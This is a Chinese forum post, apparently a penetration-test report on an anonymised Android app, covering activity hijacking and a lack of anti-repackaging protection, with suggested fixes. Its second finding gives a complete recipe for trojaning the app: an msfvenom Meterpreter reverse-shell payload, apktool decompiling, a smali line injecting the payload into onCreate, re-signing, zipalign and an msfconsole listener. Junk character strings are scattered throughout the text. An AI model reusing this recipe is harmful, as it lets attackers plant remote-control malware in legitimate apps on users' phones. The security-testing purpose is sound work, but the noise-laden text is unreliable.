# h7 |8 V; @& X) V1 o . [: p/ F" w3 w' z4 H8 a, `   3 G, ]( }- b9 @) @ : g. T2 Q& A9 t3 z) \

; W* S9 ^0 h: B$ {6 ` - L% D, ^: K. [6 c9 k4 L+ y

* h5 u9 F0 X4 ^ # |/ z) D/ }" Z, `3 L 1-2 测试结果 / z4 {2 t2 U" T3 J# q 0 [7 ~9 z# o: v* J' W2 ?1 Y4 v

, @5 _0 l6 V5 p0 P! f$ \4 N j, c. V- K+ G

6 `8 O: P. Y$ ]" j: l" ? 4 ^7 k& q, E: ^7 i5 Q& J3 M   : w, ?: U. f7 g& P. j+ }- s- q+ r 7 m/ @ R! k8 B( _0 D! x

8 `: E# }; F0 |5 Y) d6 [ ( {) p5 o7 H s c5 M S: K" v

8 _9 `3 b. O! z ( N C) L5 y( V3 [7 W 2 检测结果                    5 T% T( G" r" H( S; c ) g4 F, g+ w; c" ^; V: y) C

8 }9 B0 n% j% T& p/ S6 b 5 D- L O# a1 o; h3 P) N ]; g: w6 C

5 \" z9 d# L* t* R 5 F% i1 j0 ~0 }) `) g" e 2.1 某某某 & i" J& a! h% e* u. I/ t* G" p ! K( o u% s0 _: X9 w0 g: s

! _% V# h! X6 w# I1 q! l8 {) O( G6 Q) H

' ?0 I% ?, J0 t z3 v R# t4 e4 |/ j5 [& K 2.1.1检测目标 6 D f/ y/ R6 l |! t% v l 0 b! q+ V m6 r' ~( w6 t/ O, I

0 D7 r' N0 p1 H1 ~# x. i1 `; C v 1 |5 U7 q0 H0 V% |3 ~8 {6 C( v6 k

. z& F0 z E5 T6 c ( g l5 y" Z' P& _ 目标地址: 某某某某某某APP . R5 h2 J5 Q u- c6 w 1 c0 k6 _6 U3 o; e- I3 e4 O

# e9 z Q; Z& h* B' l" ~/ ]' h % V$ J+ I) H: j( {$ m

' P$ y+ N! y7 h& Y4 N: P1 t6 ]) u8 l ; k3 c8 i8 b; Q. {! C+ ~ 2.1.2检测结果 ( g6 z# e- d3 @1 q4 k+ P( b 9 ^0 X; C, A4 B. i

. k) t: v* h! U6 O 8 Y: o6 X% v; o: d

. _: Z& F: f, }: r # L# O. o; J! `( V* p, g0 ? 2.1.2.1 $ y1 V* y0 x! z D% \ , m% [. d+ g" c4 m7 _: c

8 {5 J: s& m/ y/ n- C/ \ # W4 H( _* n* E

. V5 r5 d, ^$ \ S, h9 g 8 m. d* [6 X6 p0 L 漏洞链接地址:某某某某某某APP $ z* d3 t) c9 b" h3 Y+ M5 d" Q Z6 A$ d) G* F( k- s

$ f; E/ X6 L8 _* ? * x; L$ L+ J% D4 B

2 J& U0 L$ [. O( k7 P5 q# v: C! d: N 8 Z0 B O+ q4 O6 J   5 N$ j3 A/ F, x# c2 d/ g+ ]7 U7 U9 l: c% E8 a' \& l) V4 h

0 @$ h! w$ T' I+ Y7 _1 J ! S2 z$ H& ~5 ~5 c) x& p

% X; O5 M# @) o6 N8 m# v4 Q& ^ 1 N: ?# I0 _* ], ] 漏洞分析及取证: / Y& w& l+ o3 a: t. O" _ % H' L0 Q) s1 H

" Z$ V- w! _5 M* ?- s $ o6 f; j" f# S5 F

! R: Y0 Q3 z% R8 {1 }& ^4 f [) \1 Z5 k                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 z5 ^4 ?6 }7 Q D3 E7 s % B) @) f6 j3 M, k [9 Z" @2 s

: i1 |2 F. w# J v; E2 L+ O' E6 }4 y& D! F

) G* M" O" P4 s' ?' Z + }( y$ P z: F |% t9 ~+ Z      5 t" O7 I, J# y% H / u7 ?7 l3 t, S7 @ i

: J: o8 R9 z! s 4 C) [: k5 l# B& V. P9 T* l

7 A8 W/ B& X) |' d0 A& u" r2 J 4 f* I9 w. O. [# U+ r& I                       6 Q0 W! u, y5 Q, F) p$ s( U1 K- u! r. D# Z: i

- c3 P$ s. M% Y( J4 S- t . Z, C/ Q; M& {6 C q" y; J, \1 r

& Z& s* N. ]) I; P: c) e* F; v$ x- t7 d- B 1 C/ [1 [( o" [* K$ X, @" @$ I $ w, \ _- D9 k0 i- f! _# G+ k

" Q* j) y5 H. p* \5 B( ^! F( w 3 {+ d7 N v+ w3 q2 q

* c- D/ V4 ]% }& j4 i# u ' N/ G' u, y9 V% J6 U0 F$ Z/ F # U2 w/ _* w5 G2 Y; Q- I& }: Z5 j0 i3 q+ K

6 a W7 o- S; h" C4 q: a: o7 B S 6 n4 g. o9 K; g4 W: P4 _: l

, A) v3 B* L. z/ c% K# ?2 I# D4 u- x! o5 \3 C# A4 ]/ Q9 y * r8 n: L; N6 u7 f 1 h" Q& |5 H$ N k

+ J# j1 H* p9 ^5 x7 }+ \ T1 l & E' b6 U* Z; b$ i

+ n( Y' F3 B4 B8 K; g, Y, I & `2 _( x; Z; _5 N! r3 _8 N 漏洞危害:高 % M6 u, `; d7 Z8 M- m1 j3 D * ^. I3 b3 J6 V9 u4 B$ l; D6 b

/ `& c O }: q! Z' m ! F+ |9 }! N X- ?7 b
0 x6 B# b+ h/ t% | ( W( b, ^. k/ R8 \+ F( q% L# ` * a/ N+ J( p7 T- J- e# N1 I& r/ W& Y- Y8 D# r8 P: ?2 _4 p# q" z. n4 `0 U3 C. M) C( a* Q" S m: [: @, q: R# B' s6 v) V! X) U* o9 D% ~7 u& g! A- V3 \/ ~: d( O$ k- T: T; j$ q. @/ G" q9 G+ Z! M' Q" Q0 s( i3 u$ G* z+ i4 u; }" Q1 {& S/ F" O, j% S' h7 M. R1 k5 m% e/ D# u+ U5 k" `- Z4 D9 u {$ J( q1 W6 ^; r# A# n; m) J7 R, W" O# S" N! q3 z8 c6 H4 @& a! r' i' B6 [0 f$ n/ _2 m$ N8 i/ K, C! M# m0 J4 a7 O0 L& d. j* M# A& W0 b& V: t9 n$ T s0 g g' v* J6 e/ v- v5 P2 ]( J2 P( C4 O" j# R: x1 c, N$ l7 V) J. f2 `- C2 v# V! H( c* @- x5 H- a2 d( ~7 \( s: |3 M& w$ M/ C3 W0 c5 D6 e
h2 F# ?2 T7 T- W& |" t 7 ^5 |8 L1 F% e9 ?

8 n" s& |- v5 N2 k# k ( O# j+ m0 l: b1 }( D/ U N 严重程度 2 f- B! X/ C/ D+ Q+ X. } 6 s1 x6 n5 |% ]( N) p

! P" L, D1 @6 @( H4 |+ F& A " B9 X5 V/ R( k8 j3 H" F
! \4 ^, F; j3 W5 O2 W8 d6 d; s a 6 G: t+ b0 B# [( J+ Y

9 [) ~2 L0 `! h* u6 c# [3 c. H. S8 K5 A ! V% g- b+ }( ?. B- h% H8 n" w! i9 ^( [4 {4 y

. m `6 c& U, h, W3 V! R+ x9 S) A5 M1 f; t" D7 W% i
/ [( M" J/ M# T+ p+ [* o2 t) }4 I+ u# D

4 `3 `4 r: q6 T0 x ) b. J, A5 Q1 M ! {: O# K; g6 H( M0 d: D @ : ~- d* n: ~& N& W* v9 l

) F }# i6 T8 q' N& X0 U s) Q2 e y3 k# V' U) b+ ^
9 F) X+ C; i; s8 q. q / p0 I$ }& o: v4 h1 p& f) C5 E Z3 n1 F

: M; H& X2 q u" g( W% G + h* c9 d! z* ] % e# U3 g! n( Y! \9 ^8 Y # D R0 i* U+ M* [( r

: r6 R4 q) R5 l8 X# w3 G * K, e, M. ]* x
, ?$ J8 R5 Z6 @$ r+ c + s! A3 R z" _+ M" ^$ ^" U

" M, K- r3 M) _$ R) u 2 B( t: K- v' z" X) L) A- i8 h; s   ! `, n5 v! G8 \ % H( u3 {: L) Q! e" ~- h! |& r

8 X* ?- N: N; N, d9 K+ x3 ^8 r0 e( V
. g2 o; [( \$ Q! e; o) p ( \; J, ~* D$ X/ V1 g$ F3 v

2 M( U2 Y# H$ f 3 S7 w% E! F, d; O! E% q 6 Y& q( ]' i' j2 ~: W5 _ * j4 {- H9 m# @ m5 N4 I- q

+ j6 a# I) a, H; h' d. P% v! a6 K: Z2 R: w9 b
$ G7 e: ?* y; P% h ! D8 {/ N- ?7 P; n5 [, i8 b& Z( y

6 c J4 R3 ]; V ! e. \% X! l' Y   1 x$ s8 [# h6 U5 ~3 \, R % A, W; c# b* H0 W* v/ x

4 |$ M& G0 f2 Z3 Z' [) W 3 o. V, Y* C; T
# i& Y+ a* H- |" t1 I! | . e) J- i. }& W8 j& L$ D- s
/ Z6 J0 f" ^! ?% d [ ( C# u9 _9 P2 n4 S( a# m

2 i- \- z9 v9 H( E. d5 @ ) A/ r& \) H+ K! k; B   % I( m2 R+ ^: t( x & W0 z a2 ~/ C& V4 G1 {8 f, C

1 G. T6 k/ G* Q- @, K& N i7 b# O* D& m+ |! Y" v# S2 r6 R$ h

8 @( z+ C4 g$ s- B. i4 J6 p1 |: {2 j % w8 A1 Y# S" r3 z6 v 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ( v8 B; U# l: p3 q 5 n B- h* ^) Z1 h3 m

' f) @- M) N+ C5 l Y+ c 6 X4 ~" f3 J4 |* h7 ^; q% F$ t

) W0 c; ]$ v# [: D% z9 _ 1 o7 q8 N' U+ ?/ m7 [           ( D% `3 V8 X# q6 T' T . c! y0 {4 c5 [: K

# t5 M8 W$ Z+ N1 K! S , {( I6 q1 J, l; J s: s* d

! R0 T1 z( ~- R+ L+ q T6 S ) _4 s3 S @& k' |   + G& o0 ~0 B3 p- q6 L4 @1 N% ~0 Q& w : O3 J6 A5 [" K. p7 b2 E1 B

( c$ c4 _( F9 L0 A# b8 d 9 ?5 \1 h: f. v+ i" S. d& W

6 h* Z: l$ p8 x& u+ P. Q+ W' N# g) Q6 f: \ 2.1.2.2 4 P D B* S1 y" |3 o # L0 X# {3 g. u! g* p5 H

* r0 ]6 }3 r& J& t9 Z) V( X' F/ z* K7 R; J

5 G' H( D( T, a8 H, w, T 8 Q0 B% _# C, B( M8 H 漏洞链接地址:某某某某某某APP ! W4 _2 I- q% F5 ]; b4 M4 l% {; }& H; [4 Q) O/ `1 |2 [. j2 x

7 L- e1 |" v. J. A6 z) @, C x , L0 W' `$ d$ U9 E" J. T

7 b* k/ D, U% V2 |5 F& l3 l. f/ d& o6 d# M 漏洞分析及取证: F1 w; S3 p5 @" H+ { ) [6 F2 w8 s R, h0 y1 V$ b) t

& m8 x$ K3 |7 E5 v5 [+ N4 u5 y * Z: R$ Q# F4 K3 d* [8 [, f0 ~. W

+ U& h5 S# S T: e& r# N& A: @8 g                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: - e; _# f$ m1 q, q, J' I3 X/ Y7 O7 p( ~. ]

+ x% _3 a4 E9 V K: g; h) d) C" X - ^2 F% D5 O# k% N" l" P2 [

& S8 b. F% y" X9 E. K/ f 0 K$ q* B+ [- `7 {+ V Metasploit 生成木马 apk 2 `- Q& y/ s( J0 t. ~2 s: [+ U A! b1 p/ N1 [& j* m

6 I9 ^7 K; N2 u ( O- p1 H3 C1 P/ O8 v+ \1 `

! G+ o- e, K" p2 |& a8 F! B) y* T. f v, r' A msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk " M$ T" R8 `1 ?' |5 U6 s' x6 ~3 @! Z$ k. A+ |3 _3 E8 f) t- |

! a: Q1 |3 _, u" c( w R # ~! x/ e% N: T" ~! E! c

" i+ p, m$ o |6 x0 f : M4 y7 W( ?9 |. s* W# f4 e. E 反编译目标apk和木马apk & ~: |- f2 G& }8 M8 f/ @ # I0 Y9 ]" q, \( A3 \& Y

4 v& M! A) a4 b9 P1 x8 f . `$ Q/ ~0 M+ ?

$ \$ X" N7 [8 C1 x* P4 \ 1 V- S/ H" e- t7 t* Q apktool d target.apk
" P3 g; G4 k& Q+ d3 } & t* s$ t; U6 {5 y4 P apktool d cockhorse.apk
) c9 m+ M; r, N' o 5 |0 X$ Z" [7 q( N! {

; z2 e1 y# v$ f% O0 a6 s O6 E / W! r/ C9 m4 s V1 t# f1 a4 N8 h

3 ]- q$ y' D& G; q( c' K5 ~ % s: P+ u: d2 l# ` 木马 apk 注入目标 apk $ X, P4 K) v. E+ u3 d 6 K' u# x; m) t7 u% S

: P- u% J ^1 r% b2 V! E/ ^5 k0 `% r

9 D! o) @/ D, E8 O* [6 c / \# ~1 ^, R/ w+ K ]5 Z# J 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
& x" E: Q; Z" i- d+ J2 n4 x& {5 j7 D d& p1 I0 f6 L- Q2 I invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
+ K F- k( F& d2 H* ?0 H2 ^4 j# {5 I4 h5 i2 r

& _1 F2 _+ V3 h% v; _) z- P $ B/ v. A, j2 z4 v, C0 C2 z

9 F4 M9 C2 J, ]% o! i : v: A! H" p( A/ u2 P+ [ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 1 J/ g" M% \: y+ x& i5 p3 q7 @7 ~! M. V; B

) Y. Y- }" m; s4 x/ i0 { " x* J1 \: l: M

8 W' E- g, ]' Q1 O- g2 V ) {) J" S/ Y" k% f' B8 L 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ / z) B1 k( w* c+ `4 _ 7 k. t5 \9 n% a) M8 p# N, a

8 n$ g* S8 u, `" w2 v* h6 f4 _ 8 Z% I/ {/ z& T. n" p

( @- N# x. [. i 6 Z5 I6 o7 ~# W 回编译生成最终 apk . j! t2 I M) r% H8 h: |; }! A( [* x+ P+ R) z" f. @& x! g

# ` H, d, C. f, J; N' q 4 j% L8 u" m/ {

( F6 e, G4 c8 G* Y ) ]9 @! B; M0 _+ B0 ~ 重新打包 0 N2 I" J6 J" x ' n; G- a7 Q( u2 O2 C6 j

$ ?* T" O3 |9 T4 } $ I% E4 g7 W3 m* N

1 Y3 a, X: Z# F3 g3 X j$ d 3 I% ~1 C2 ~, B, ]8 y: W apktool b -o repackage.apk target_app_floder 7 u* Z. m2 q* n# F1 H 8 W9 H: \* T( \

1 v% S0 b: U# z" o" w5 E 9 ]; f8 Y) t' W: s2 h+ [

7 g$ o+ b$ B O+ F, a9 Q' d * O' {5 b4 F6 I# Y8 R# o% y 创建签名文件,有的话可忽略此步骤 0 o9 T% G9 j. p" S% o 1 [; Q, n& d# B2 K8 ?

6 p$ c- a- H+ v) R! K+ T. Q9 N5 [, d- c7 l% S

1 B9 e" |, a# `' H4 T- ?# a # B K; G1 A0 d- f8 Q keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ; n3 y1 E. \, m7 \" m- i , E7 r5 h( C1 r/ `) T

J4 n& v* J2 p$ L 6 q& ^- h7 L; A

+ w( D2 e* u# o+ l # C4 R/ c/ S5 r( S( ` 签名,以下任选其一 % Z9 D* H/ Z( H. V 7 `" c' H0 e+ {* C7 D0 S/ w* m2 _1 s

! T5 D' A) W7 g9 U& P+ N. I: y" J- h5 B5 c7 B& `* F0 g9 d

) g) [8 }5 e: e9 v ! Y# o; |- f6 x7 q% s" K. A jarsigner 方式 0 ]' i+ V# \, T! m' \8 T 7 d9 }" W& K. k! f; A

( C. d& u' M: ?: _! w q0 ~& O) a2 y8 D

. D9 s0 ~7 ]; _0 i ' Q& q; c$ z% r6 g, r" P: X# D jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname H- E' P5 l$ S9 N " E: m1 P+ _& L

8 v0 ?5 _2 o% [6 k* l4 b7 x; A! Z p% p2 N! m

( j" O/ `) v f$ m/ [9 v8 w/ v, \( U' {# k apksigner 方式 6 ?0 y$ @: l" w5 p0 b" B1 J . p r! P: G, o; X9 _5 j5 Q

+ l: s0 E6 Y& ]1 X% O/ ?% i9 A: F" o4 ^9 Y

. q4 N9 d8 J: Q9 d+ K5 j0 g/ W3 |1 _. _ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / n+ x$ f( k. b& j ( Y, D1 K- x* p" c$ A2 [' W7 }' h

; _1 m0 H6 z% q. m/ x( q/ y+ a& l ( h, }% `" t1 R7 O5 [5 l

8 e9 a/ V9 l9 B ' k c2 F: k7 Z+ A4 l' H/ C2 h 如需要禁用 v2签名 添加选项--v2-signing-enabled false 6 c/ d! K0 S1 v( D5 b - V; P/ R1 k# q

0 d4 i9 p% |7 v) U$ c9 S9 S - N7 j. ~5 q! T

M& E! n" C% A; `! C/ b* o4 v1 W, |. A% e. ]6 Y0 {: E+ W 验证,以下任选其一 - k% J* I3 p9 H( _8 x * \: ^8 d1 F3 Q9 m! Q1 A' J

: D3 U' m" I/ K " M% u$ P6 z. s9 [- ^

- D S, O; T [" ^ + B7 l; H# z; E N& M8 u1 [6 p& N0 F jarsigner方式 , G% U8 d- g" \; ?/ }0 Q + w1 F. o) O+ i) D$ a

; _( Y S1 ^1 ? . f g- N# [! A" I; Y8 o1 @

( ?9 ^/ [. }( h6 e 1 R) v6 H$ R# |. ]/ K2 R1 @6 { jarsigner -verify repackaged.apk , L2 F2 a- j$ [4 R9 K T% h9 f $ g2 D: d, u: x5 v5 c

! S' c" z/ a1 `0 n# v; D5 r+ J# V* H* B, E p7 l/ J9 j6 V

* x2 K5 ?( M+ H+ I* @* ~- ~' N$ @ 6 r4 j7 N8 u- S" z, Z$ \ apksigner 方式 }; A1 O6 c' V3 a7 D$ v, I - B& h( m* i0 V

9 A, N5 O3 L3 C t+ B/ ^0 O+ t * B# K" U4 ~5 P y! ?- f

_6 H# B' N5 N 8 J4 Q, u' o2 s& t apksigner verify -v --print-certs repackaged.apk . o& {0 b5 ?& m$ x$ M( W- {# C2 X

, c* ]$ a7 M# n1 N" b- r ( F1 T( i% ]8 R# o& S9 p! x9 l" l! M

( R$ `6 S2 @; v% C- s) j6 c, S " _# s; Z! }5 @& [* l1 L* m8 k keytool方式 . n5 y# }9 r/ z& b* s v# O # ]' J0 D2 d4 |. f6 Q% q8 z

7 j6 x. u) t* k1 M+ ]3 }- D: X* M2 M

; H( j3 }% E4 i2 K # L' W/ w1 k. k" D+ T2 p( m& p4 y keytool -printcert -jarfile repackaged.apk + d. N3 z [* d- F% ~: z1 b. ?) E5 B$ D( a7 f6 ?

7 R m/ }: d& P/ y, }. P( ]+ }2 t 4 h( S. H6 F+ W, Q3 {% E. t& U& x& l

2 P/ i# s/ M3 B" G9 ^+ l. s- A* T 3 B9 V! O! A$ s 对齐 3 ?5 Q( @7 O+ f) A$ C 3 r7 i& ^5 n( t; |5 b

9 F+ g$ V/ W# V + ^. y1 c$ L$ G. T

) ~6 V2 }( `- _: V. A& S | & R# m' |& _& a- o! h- {9 o5 S 字节对齐优化 9 I, \& [* U1 O' _1 P, ~6 Z8 Z h ^0 s: K

, h" R( o) S+ u M% ?! t % p: ^5 X0 y' X- I& i" {& \

: W2 O: \' |* J0 x" X" X 8 { `. \7 F! V) Y zipalign -v 4 repackaged.apk final.apk 9 ]' M6 X4 t* s' L: X 5 D D7 q0 Q7 S3 H# J

% Z8 i# k6 c" `" ?% a3 E+ m & b2 ^& y- E6 x7 ^, _, i

- f3 @4 b- V& X5 U O3 b" ~8 b , ]; h ~1 u+ J( o$ Z. Y0 a6 i 检查是否对齐 ( ~( u, f# y. H 7 W9 P( L% b) F! s

! |3 `7 ]7 \" S4 r: O% M W* N+ v0 h3 c C" B: I# A

! ?! k V4 G) Y. I3 d% S $ L) e# _1 ~( F9 A- [8 C zipalign -c -v 4 final.apk : J1 v& l( q q, G8 D6 S # Y* N1 n/ a" R( d! ?3 e, e. d" J

" @* Y/ W9 q6 N" e2 g 7 M! Q" d+ j5 P

# E& U4 p {* h' o* o3 h % m5 O, A o. N; g+ S 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 , E# ?" k: j4 n( v6 `2 q* s! m9 P8 p7 a0 l Y

" S' g/ P8 v2 a8 L. y, S1 g' L& a # h/ U" k* K5 U8 I% T

. C6 `& R% g# R8 A! j0 x( t + o; j$ Z) X0 c1 ]- f' h 启动Metasploit控制台,配置参数等待上线 6 i( s0 h. K4 F5 w5 X 1 s4 g* b2 [/ M! v1 |

# ^( K# e$ H( r x 3 x, s" E* [( |- Y- j

. m6 @. L9 v8 u* d ) {& J1 y1 A, Q( Y" H8 t4 T 在终端依次输入如下命令 , s% }% F: A& a. d8 c8 n0 M 1 x+ G! p9 V& D) S6 X

3 p" F& w! q# A8 u7 }+ O3 M / o" I' j1 _/ K. N3 W1 k

$ \! `+ o0 T- D! r/ D( U ; \3 t0 @ |: d3 I msfconsole ! s/ T0 R4 `9 s - q! h$ B$ t, ]. G* ^. h; j( n

% i( Y4 ?4 n8 s! E # t& X$ |- M I" N5 @2 N

" z Y8 K$ E7 {1 F- l+ ~ 1 y8 y% k* o/ u$ W use exploit/multi/handler ) U& Z9 b# e7 ^, o ) S0 w# i# U/ `% v

5 P* K8 ^4 K" l 0 x, u. L) I! m& f

' n0 q, r' d% [) s$ S& { 1 ]8 o1 F0 e! H. w: y- q set PAYLOAD android/meterpreter/reverse_tcp / D" O+ Z. {7 g+ v& S. A 8 {. J! d: q( `, n, |; F% a

+ S% U1 J% Y1 Z% [; N: O" P, S( s, d

6 W3 W- X3 C& }9 [8 q5 o( } {! i. N9 _ u: E set LHOST 192.xxx.xx.xx % z8 X6 f9 C1 B! g- b/ ]2 e 4 u0 h' ~6 [" O9 ~* K4 }# I0 K

+ M$ R. q9 M" V3 ^, v6 l" x, P, i* `, I _7 W, Y! L

! O4 m$ X2 H; D9 j/ l& J d _5 Y1 a2 m* S% N set LPORT 4444 # G n+ d; F( L- z* e 3 o2 h [$ Q4 u q

- i6 i. D9 g5 L5 D! Z u+ Q( H$ f, }

8 h0 {" b7 M8 k2 x# S# }6 |+ e+ Y" y4 z1 Z+ m exploit # x4 H6 p; [- c1 x: ~ 2 ~ \2 C( h7 u- `8 n E

1 U6 Z9 ^: C( O1 S0 C0 m! ^4 H - E1 _7 F9 U- q$ m- Y

7 u" Z+ {$ e$ W 7 y$ n5 Q0 |5 {; l4 l 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               : c8 s( U- a" x& ^# K6 O+ o' q6 L * h& g0 N6 G" T; B/ l, t0 f

; V2 ]5 b% G" E# O0 L! v1 k1 }- B1 \) \1 b4 r# e* v

* p" q8 Q- w/ ]' D5 U' u# R0 O0 c/ T 漏洞危害:中 # P$ q; q3 S8 q- F( ?, Z & y. R. ~, m. b0 U N! g

- L9 V) h$ R" `9 I6 _$ M7 W/ K8 b7 [( P$ H5 D C- i
9 ?" M( s; g% f' P% E! d; _3 i. b! O1 y* f, I9 u" K & ~. F" z4 x* ~% m 8 {5 ]' Y8 d- S- c 5 p Q5 A4 i! \" ]& o$ S5 O, e1 P- N2 \8 W4 X, T# h7 U W- }9 w% B5 b; }" y5 N% g1 U0 t% ^' a# ^% |7 x- `% D$ ^* `) T- |9 }7 @2 Z* D5 g, i. S8 U7 Z6 K0 A. O/ y; L, u3 O$ {$ Q* Y6 a5 i( I7 \ F: r3 P" \: ~+ w, D& a6 V+ C9 D4 Q3 y! K" y& P! A( m4 l! G9 L, [8 `3 Z+ B8 a) |1 X }$ o- j/ e8 o5 [2 T3 P4 j/ a* R3 z5 n; C5 h% w4 ~: m+ ~8 q4 s0 h9 D z! Y0 e; ]) m- K0 X4 |1 G8 {' B8 {: ]/ U2 _' O1 T, g- x/ x% Y9 ?* }& m' s& ^+ u$ C' B o. C9 S h$ E* Y- O# Q! |. A4 e5 `, v |- M/ c( E' i5 N7 k4 y/ L6 F4 S7 n' u' u
$ F7 [( r8 g' b7 m, F0 J# a+ V, E" G8 a' B: I

. M( v2 \( | x5 W0 R8 M6 W4 ^; a' N- n. V0 V 严重程度 & }; K* |% L; g4 b0 y+ X - j! U1 d$ m" N

: |, D# D8 _$ V8 [! G : x1 A+ z- [$ h3 c
+ C; ?/ K7 r3 }- t8 m5 [0 A - K, Y/ s0 y4 K( ?" w# j; m

. k3 X, J: h: m" x6 b . S* X3 O a9 X& V3 @7 Y) x* s : A/ l1 Z6 B; b' t ~ @4 C, K 6 `* v4 g( z0 D

0 i Q( l# U; i6 Y3 Y/ v; a ; B& @0 T L+ [3 X
; |& k6 o* ^/ v' z ! @+ h* V' z# x: Q: g

4 b- e8 Y- V/ U- J6 ?$ [5 q $ U8 E" T8 @( g& j7 |& @; i9 G 6 x: E* g1 H: T2 r# e, H5 R * Z* v+ Q8 a d G5 B+ l

% g. {$ @$ s1 r( Z$ S5 I2 k2 \* Z : a- g- j0 p5 J, Q5 q6 ^' y
* u) k( K R+ I 0 j1 A1 R4 C/ P; E8 O1 f

2 Z2 d$ P- g. Z+ F# s+ N7 d) O. j ) H& l8 q( X$ u3 L * O4 j. i" u. x4 [ _& q & H$ s8 h6 b4 b7 f M

9 y l: ^' a# Y! z' ~# u) S 9 `2 r7 Z, z/ n5 P2 M
/ Y0 c, G& ^) j! G. ]) f+ n 6 y) r ?% u9 B: R: u 9 l" u" M( r3 N* Q$ I 7 A7 S5 k; B1 S8 C- a0 W6 r

' X! B& P- r1 E; Y* a+ R4 I' m6 T% l , Z V$ b0 b. {% F   / y( |( k, e/ m- h . Y" R a* S6 N6 h) g

/ K3 n1 u9 X3 V& u4 H6 u7 P8 r" U0 L7 L4 z. l# h" @
. \2 M7 e0 h, E" X! h5 m ' L9 q8 ~9 h* P9 U" s

/ ]4 |0 f7 p) B6 [/ B6 n# K 1 `, N5 O4 q' C; _ * Y' G- t! }4 g' W- X& S5 m! f/ t( k, f; l$ R. b* B: f+ I

8 ^* X" c2 ~0 {. W" G4 e) \& h : T: y7 D% o3 }+ g% c$ K5 C
4 `7 N: z" }1 _+ `9 m- Z / \! M h& [2 t. \2 V . t. W% v2 m; @/ C* } 5 t: O0 d- n( U- Y+ G3 x7 B

+ R/ s/ x# }; {" I. A. {# c% q* ] I   9 S7 X6 S C) k5 ^# S- m ' ?6 m" L, L5 C7 |; P

$ n" ?2 }/ J! }7 {: M/ e$ h7 E9 E4 a
. m4 P8 `+ F$ l8 z! Z 1 G2 U- o. r- D7 Y4 U- w3 Y# S) {2 K
0 e+ x+ t2 M @5 {$ p 7 A2 x) Q, A* G* y2 F

1 }3 \% h }5 u- j/ |; X" f% e* x, {1 X 4 r! p. d- e1 ~0 @. u* z' B& k# _: ]   $ e" ~. v! s# q F 5 E( ^) e4 V' H: j- h8 O

& m2 `9 _% H3 k) X; | $ q$ j3 _4 H( Q! X3 s4 H

1 s- a7 y" _% i* N& d 3 }9 q- \1 r8 F5 u 修复方法: - d9 K; `: J) A1 \& }; r- ?2 f% B/ s& Y2 `9 r5 [/ g; `; Q

Z) m) Q# f$ S2 t 7 v* |8 Y/ J6 D/ }

9 y( f4 `6 }1 X S3 M, P 4 W8 n$ P. J4 @' F, `) | P               1. APP 启动时应做签名校验防止二次打包。
0 @/ L; t7 b& P/ O8 D' n+ a . h( P W+ W2 k9 W4 S9 ` g' y5 q 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 7 {. f& u& V t3 Q! U/ c- p, C5 b u. C$ m6 G. J3 m

`) A1 |: _4 J. L 2 ]3 H, i: k# o3 Y) a3 z, a- K / c' j8 G: h! C: P 7 D. J8 @6 K1 ^6 B3 T

' Z+ J$ m/ c7 N7 h' Z' C) M0 `, z$ s 6 B/ I# y9 V/ u0 G; o   + {4 j" {. i7 t6 T3 N$ b* c# C0 I# {4 x- u2 ]2 w6 N, v! K7 O3 z( @

- N, e( m; }0 l5 z; n# H+ D7 Q6 S2 [% m8 h- a% b* N + i! j0 X W; t ]8 Y . M. Z1 @. r% q

9 V0 V9 d @! @- i# c) A' g7 _ $ R/ l/ ?$ r+ d" |
, m, {: S' E1 T6 f2 m + k& A% e" c3 f

& X( Z: }% V" z2 j2 s3 Y l 3 a5 ^: C& _$ E% \# S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表